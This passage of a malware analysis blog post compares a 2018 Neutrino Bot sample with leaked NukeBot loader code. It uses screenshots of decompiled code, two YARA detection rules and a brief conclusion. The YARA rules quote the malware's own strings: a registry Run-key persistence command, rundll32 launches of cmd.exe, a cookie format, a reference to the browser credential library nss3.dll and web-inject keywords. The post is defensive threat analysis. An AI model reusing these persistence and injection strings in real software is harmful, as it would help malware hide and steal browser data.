https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p> Random GUID is used to create the mutex:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png" width="400" height="63" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:63,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkYqvdnPYEOIA8SjwqGl9uKoA6BOiGbCi2uLJ54TO_NWDzWVAah17vDz4hRaTPArHumuzQe_r45s4Sfa6imyZh9tF6Xlp0Wj53vGjDjV9fmgMlEicnTdYlJfWBxV1BdjRKl2ZW2u_F2s/s400/Nukebot_leaked_CreateMutex.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> From Neutrino analyzed sample (IDA decompiled):</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png" width="350" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:350,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GKujrQkY0ccba4WSdctMCgdpvDixzDnF8-TcJsW78IMj8ZbwG5zcqH46VuI0GnO3XbJmLOXYcV_43Qdn3UYkzPDZw_Hib9zvd6Xl0z-A8xv0y6ODAXHt5Os9tdouvEzKQ0RRikSs4O4/s400/nukebot_random_guid.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p> Random GUID is used to create the mutex:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png" width="640" height="249" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:249,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUd-sqll9yC3nAEJE38w5U2BjkSuITTntZrpU_NMAN0j0ZI-dMn1XX9heFX3-qRseX5v6Jbs-NMP4wrRTB7ezZpU0jUS_4taLDQWA46ZdVTLmh-fs1EQclJHU_VjggRUEjnW0CUeLp8g/s640/neutrino_CreateMutex.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h3></h3><h3>4. Yara rules</h3><p><br>Banker module:</p><pre><code>       

rule jimmy_08_2018 {
strings:
        $string1 = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /ve /t REG_SZ /d \"%ls\" /f" wide
        $string2 = "Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"cmd.exe\" \"/c %ls\"" wide
        $string3 = "Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"%ls\"" wide
        $string4 = "Rundll32.exe url.dll,FileProtocolHandler \"%ls\"" wide
        $string5 = "Rundll32.exe zipfldr.dll,RouteTheCall \"%ls\"" wide
        $string6 = "/a /c %s" wide
        $string7 = "%ls_%ls_DLL" wide
        $string8 = "Cookie: %s=%s;uid=%ls"
        $string9 = "%ls\\nss3.dll" wide
        $injects1 = "injects"
        $injects2 = "set_host"
        $injects3 = "set_path"
        $injects4 = "inject_setting"
        $injects5 = "data_keyword"
        $injects6 = "inject_before_keyword"
        $injects7 = "inject_after_keyword"
condition:
        (all of them)
}
       
 </code></pre><p><br>Packer stage 2:<br><br></p><pre><code>       

rule neutrino_packer_stage2_08_2018 {
strings:
  $code1 = { 6A 25 [0-15] 6A 6C [0-15] 6A 73 [0-15] 6A 5C [0-15] 6A 2A [0-15] 6A 25 [0-15] 6A 6C [0-15] 6A 73 [0-15] 6A 5C [0-15] 6A 25 [0-15] 6A 6C [0-15] 6A 73 }
  $code2 = { 6A 65 [0-15] 6A 78 [0-15] 6A 70 [0-15] 6A 6C [0-15] 6A 6F [0-15] 6A 72 [0-15] 6A 72 [0-15] 6A 2E [0-15] 6A 78 }
  $code3 = { 6A 6B [0-15] 6A 65 [0-15] 6A 72 [0-15] 6A 6E [0-15] 6A 65 [0-15] 6A 6C [0-15] 6A 33 [0-15] 6A 32 [0-15] 6A 2E [0-15] 6A 64 [0-15] 6A 6C }
  $code4 = { 6A 25 [0-15] 6A 6C [0-15] 6A 73 [0-15] 6A 5C [0-15] 6A 25 [0-15] 6A 6C [0-15] 6A 73 }
condition:
  all of them
}
       
 </code></pre><h3>5. Conclussions</h3><p> We have analyzed a Neutrino Bot sample dated 2018/08/27. After analyzing the sample (3F77B24C569600E73F9C112B9E7BE43F), we have checked it could be an evolution (or at least, could be using parts) of the leaked NukeBot source code's loader. Nukebot / JimmyNukebot / NeutrinoBot / ... Probably, this set of families share code between them and are in continuous development.</p>]]></content:encoded></item></channel></rss>